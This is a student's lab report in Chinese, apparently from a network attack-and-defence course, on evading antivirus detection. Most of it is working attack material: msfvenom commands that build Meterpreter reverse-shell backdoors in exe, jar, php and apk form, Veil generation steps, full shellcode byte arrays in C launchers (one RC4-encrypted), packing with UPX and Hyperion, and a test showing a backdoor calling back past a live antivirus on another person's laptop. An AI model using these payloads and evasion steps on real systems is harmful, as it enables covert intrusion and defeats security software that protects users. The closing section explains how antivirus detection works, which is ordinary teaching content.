20181207朱涛《网络对抗技术》Exp3 免杀原理

一、基础知识

\1. 免杀

​ 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

\2. Veil

​ Veil是一种可以生成带有Metasploit载荷的后门工具,可以绕过部分杀软的防御,软件本身一直在更新。

\3. 加壳工具

(1)壳可以简单理解为就是在自己的PE文件中包含了代码.而有不影响我们的PE文件的执行。

(2)加壳的目的:为了隐藏程序真正的OEP(入口点),防止被破解。

(3)软件壳的分类:加密壳、压缩壳、伪装壳、多层壳等。

(4)压缩壳指的是让我们的PE文件变小,加密壳可以保护版权、反跟踪。

\4. shellcode_launcher工具

​ shellcode_launcher实际上是一个cpp编写的加载shellcode的程序,和之前用c调用shellcode数组的方法类似。

二、实践过程

任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法

(一)正确使用msf编码器

\1. 使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门,截图如下:

img

\2. 对实验二生成的20181207_backdoor.exe后门程序用VirusTotal进行扫描,在69款杀软中有52款爆出了病毒,结果如下图所示:

img

Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。

(二)使用msf编码器对后门程序进行一次到多次的编码,并进行检测

按理论上来说,编码会降低检出率,所以在理论上讲多编码几次,能检测出病毒的杀软越来越少,直至全都检测不出来。

\1. 一次编码

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.141.130 LPORT=1207 -f exe > judy-encoded.exe

(LHOST=Attacker's IP ,使用-p来指定要使用的payload;使用-b是payload中需要去除的字符,shellcode以‘\x00’为结束符,该命令中为了使'\x00'不出现在shellcode中,所以使用-b参数;使用-f来指定payload的输出格式;)

img

对生成的judy-encoded.exe后门程序,使用VirusTotal进行扫描,扫描结果如下图所示:

img

\2. 十次编码

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.141.130 LPORT=1207 -f exe > judy-encoded10.exe

img

其中, -i 表示迭代次数。

对生成的judy-encoded10.exe后门程序,使用VirusTotal进行扫描,编码10次后的文件居然有更多的软件爆出病毒(且多次尝试之后依旧如此)扫描结果如下图所示:

img

(三)msfvenom生成jar文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 x> judy_backdoor_java.jar

img

对生成的judy_backdoor_java.jar后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

img

(四)msfvenom生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 x> judy_backdoor.php

img

对生成的judy_backdoor.php后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

img

(五)msfvenom生成apk文件

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 x> judy_backdoor.apk

img

对生成的judy_backdoor.apk后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

img

(六)veil生成后门文件

\1. 安装过程

(1)此处需要使用阿里云镜像源或中科大镜像源,由于我的Kali机安装的时候已经将镜像源更换为阿里云镜像源,所以此处无需更换。

(2)执行下列代码,安装以下软件:

1 sudo apt-get install libncurses5*
2 sudo apt-get install libavutil55*
3 sudo apt-get install gcc-mingw-w64*
4 sudo apt-get install wine32
5 sudo apt-get update

(3)安装veil(此处若遇到问题,请看本博客问题解决处)

sudo apt-get install veil-evasion

\2. 使用veil生成后门文件

(1)输入 veil 指令进入界面

img

(2)可以输入指令 use evasion 使用veil-evasion:

img

(3)输入命令 use c/meterpreter/rev_tcp.py 进入配置界面,设置端口号和IP地址

set LHOST 192.168.141.130//设置反弹连接IP 
set LPORT 1207//设置端口 

img

(4)输入generate生成文件,接着输入你想要playload的名字:veil_c_1207

\3. 在文件系统中 /var/lib/veil/output/compiled 路径下找到生成的veil_c_1207.exe文件,并进行检测,检测结果如下图所示:

img

img

(七)使用C + shellcode编程

\1. 使用命令生成一段C语言的shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 -f c

img

\2. 创建一个文件20181207.c,然后将unsigned char buf[]赋值到其中,代码如下:

unsigned char buf[] =

"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x89\xe5\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20\x01\xd3\x50"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x8d\x82\x68\x02"
"\x00\x04\xb7\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

\3. 使用命令: i686-w64-mingw32-g++ 20181207.c -o 20181207.exe 编译这个.c文件为可执行文件

img

\4. 对创建的20181207.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

img

\5. 然后把文件放到Windows10环境下尝试运行,运行失败,Microsoft Defender拦截该程序。

img

(八)使用加壳工具

\1. 压缩壳(UPX)——减少应用体积,如ASPack,UPX

(1)使用命令 upx 20181207.exe -o judy_upxed.exe 给之前的20181207.exe加个壳得到judy_upxed.exe

img

(2)对创建的judy_upxed.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

img

\2. 加密壳Hyperion——版权保护,反跟踪,如ASProtect,Armadillo

(1)将加壳的文件复制到, /usr/share/windows-resources/hyperion/ 中,输入命令 wine hyperion.exe -v judy_upxed.exe judy_hyperion_upx.exe

img

(2)前往 /usr/share/windows-resources/hypersion 目录下,将judy_hyperion_upx.exe拷贝到Windows系统下

(3)对创建的judy_hyperion_upx.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示,加壳之后检出率更高了

img

(九)使用其他课堂未介绍方法

\1. 加密:加密是一种能够有效反击反病毒软件静态扫描功能的方法,因为AV引擎不能立刻爆破它。

(1)用msfvenom生成使用一个RC4加密的shellcode,用上述方法,编写一个c程序,并生成exe文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 --encrypt rc4 --encrypt-key thisisakey -f c

img

(2)创建一个文件encrypt_20181207.c,然后将unsigned char buf[]赋值到其中,代码如下:

unsigned char buf[] =
"\xfb\x8c\xe2\xb8\x8d\xf0\xb8\xf0\x4c\x59\x25\x3d\xb2\x12\xc0"
"\x28\xdc\x29\xa4\x88\x54\xa7\x90\xbb\x84\xcf\x4b\x10\x1c\xcd"
"\x67\x85\x64\x9e\xc3\xee\x5b\xd1\x16\xd6\x94\xd8\x5a\x30\x71"
"\xf2\xa8\xe8\x5c\xbb\x45\x3d\xad\xed\xf6\xb9\x22\x51\x3b\xdf"
"\xf5\xc1\x3b\xbe\xb5\x04\x9c\xfa\x18\x33\xbc\x00\x81\x12\x77"
"\x60\xc7\x21\x04\x97\x6d\xb4\x56\xdb\x15\xa5\xaa\xb1\x3d\x23"
"\xf6\xf5\x82\x4f\xb9\xea\x27\xb9\x04\xd5\x1a\x5d\xc7\x07\xda"
"\x39\xc8\x0c\xca\xb8\x1b\xed\xd1\xc8\xf4\x9e\x82\x36\x89\x16"
"\xce\xa7\xc4\x6d\xf2\x93\x45\x64\xf9\x07\xdf\x21\xed\x1e\xb3"
"\x7e\x68\xbb\x19\xfc\xdf\x79\x66\xbb\x52\xf2\x97\x59\xf0\x84"
"\x02\x0c\x32\x71\xb5\xa3\x36\xab\xd9\xa1\x90\x17\xff\xa3\xbd"
"\x10\x40\x67\x82\xa0\x4e\xad\x48\x78\x16\xcd\x1d\x68\x9f\x18"
"\x4e\x7b\x1e\xa5\x25\x25\x0b\x68\xd3\x1e\x3a\xb9\x0c\x15\x42"
"\x61\xf0\x6d\xd3\x5e\x94\xd3\x47\xf1\x4d\xe7\x4d\xc7\x8a\xb2"
"\x7b\xcb\x5b\x98\x8b\x93\x4e\x95\x6c\x12\x55\x84\xca\x81\x74"
"\x98\x3f\x64\xbc\xb2\x5b\xe7\x7b\xa8\xb4\x71\x59\x4a\xc3\x7c"
"\xf5\x4c\x81\x7f\x77\xa9\x52\x71\xbb\x06\xec\xee\x1c\x66\x71"
"\xed\xc7\x0d\xe1\x15\x73\x02\x0d\x88\xce\x58\x1f\x12\x46\xc9"
"\x82\x51\x4a\x5b\xb0\xcc\xe3\x7c\xce\x99\x39\x46\xa3\xaa\xe7"
"\xd8\x61\x1d\x1b\x5e\x7a\x49\xa2\xdd\x5c\x1d\xfa\x2d\x53\x81"
"\xe5\x68\x30\xfe\x54\x0d\xc7\xaa\xee\xc9\x12\xdf\x8c\x08\x48"
"\xc9\x46\xc5\x8a\x8d\x92\xc8\x60\xa3\xa4\x30\x3c\x17\x0f\xb8"
"\x74\x7c\xaa\xc4\x89\xa9\x06\x28\x5f\x8b\xde\x3c\xfe\x6c\x3f"
"\xb1\x76\x72\x33\x69\xae\x4a\x72\xd9";
int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

(3)使用命令: i686-w64-mingw32-g++ encrypt_20181207.c -o encrypt_20181207.exe 编译这个.c文件为可执行文件

img

img

将(八)中使用压缩壳生成的judy_upxed.exe文件、使用加密壳生成的judy_hyperion_upx.exe文件和(九)中加密方法生成的encrypt_20181207.exe文件拷贝到优盘中,将u盘插入另一台有电脑管家杀毒软件的笔记本中,进行全盘扫描,发现电脑管家可以检测出使用压缩壳生成的judy_upxed.exe,检测不出来使用加密壳生成的judy_hyperion_upx.exe和使用加密方法生成的encrypt_20181207.exe,截图如下:

img

任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图;与杀软共生的结果验证要截图。)

(1)先用Msfvenom生成raw格式的shellcode,截图如下:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' LHOST=192.168.141.130 LPORT=1207 -f raw -o judy1207.raw 

img

(2)msfconsole开始监听

img

(3)在Windows端进入开启cmd,进入到shellcode_launcher-master目录下,运行指令运行指令 shellcode_launcher.exe -i zxy5216.raw

img

(4)对创建的judy1207.raw后门文件,使用VirusTotal进行扫描,扫描结果如下图所示,查出率已经很低了:

img

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

(1)我使用了一台我的Kali虚拟机作为控制端,和同学的Windows10笔记本作为被控端

(2)将Kali虚拟机的连接模式由nat模式改为桥接模式

(3)将两台虚拟机连接到同一网段内,并通过ping命令看看是否可以连同

(4)根据新的虚拟机IP地址利用msfvenom生成shellcode,并完成相应的配置

(5)杀软使用的是2345安全卫士,版本为6.9

(6)成果展示,下图1、2分别是我的Kali机监听成功的截图和同学主机截图:

img

img

三、基础问题回答

\1. 杀软是如何检测出恶意代码的?

答:杀软检测恶意代码的方式有下列三种

  • 基于特征码的检测
    • 特征码是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
    • 恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
    • 特征库举例——SNORT
  • 启发式恶意软件检测
    • 根据片面特征去推断(看起来像),通常缺乏精确判断依据
    • 不需要及时更新,具有通用型;但实时监控系统行为开销稍大,没有基于特征码的精确度高
  • 基于行为的恶意软件检测
    • 基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式
    • 让软件运行,记录其行为并分析(杀软的工作原理)

\2. 免杀是做什么?

答:通过使用一些手段,免杀就是让安插在被控机器的恶意代码不被杀毒软件软件发现。

\3. 免杀的基本方法有哪些?

答:根据杀软检测恶意代码的方式总结的技术有

(1)改变特征码(改变机器指令)

  • 有EXE——加壳:压缩壳、加密壳
  • 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
  • 有源代码——用其他语言进行重写再编译(veil-evasion)

(2)改变行为

  • 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
  • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

四、遇到的问题以及解决办法

\1. 在VirusTotal中无法扫描出生成的后门程序是否存在安全问题,解决方法有两种:

(1)重新生成后门程序

(2)在Kali中联网扫描

\2. 首次安装wine32没有成功,解决方法:

执行 sudo apt-get update 指令,而后再进行wine32安装

\3. 在安装veil过程中出现错误,表现为:每次输入veil时都会提示安装,安装到最后都会失败。解决办法:

(1)使用命令 cd /usr/share/veil/config/ 进入该文件夹

(2)使用命令 vim setup.sh 编辑文件,第260行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git

(3)输入 veil ,进入其安装过程,中间会弹出许多看不懂的图形化软件安装界面。使用其默认地址,并一路点击next。

(4)图形化软件安装完成后,会弹出大段报错,在此处无需理会,最后使用 Ctrl + C 退出

\4. 在Windows10运行20181207.exe文件时,出现如下弹框,提示本地缺少libgcc_s_dw2-1.dll文件。截图如下:

img

解决办法:使用 locate libgcc_s_dw2-1.dll 查看该文件所在的位置,并前往对应目录下将dll文件拷贝到20181207.exe文件所在目录下。

img

随后又提示缺少libwinpthread-1.dll文件,添加方法如上。

img

五、实验体会

首先要说明一下,曾经因为电脑下载软件不当导致病毒侵入笔记本中,重装过两次系统,有一段时间我疯狂依赖杀毒软件,从360到2345到腾讯电脑管家……然而我逐渐发现这类软件(以360、2345为例)有一个很明显的弊端就是不停地弹小广告、卸载的时候还卸不干净。卸载后它会以各种形式要求你重新安装回来,所以我的新电脑上没有安装任何杀软,本实验中的部分验证是传到有杀软的老电脑上做的。

这次实践经历让我充分意识到,Windows10系统是不需要额外安装任何杀毒软件的,任何杀毒软件都没有Windows Defender更安全。从杀软的整体效果来看,2345杀软的查杀能力还算ok,某种意义上来说优于360,电脑管家杀毒软件也算比较智能,但仍然存在不安全的地方。

posted on 2021-04-05 11:34  Judy_Zhu  阅读(161)  评论(0编辑  收藏  举报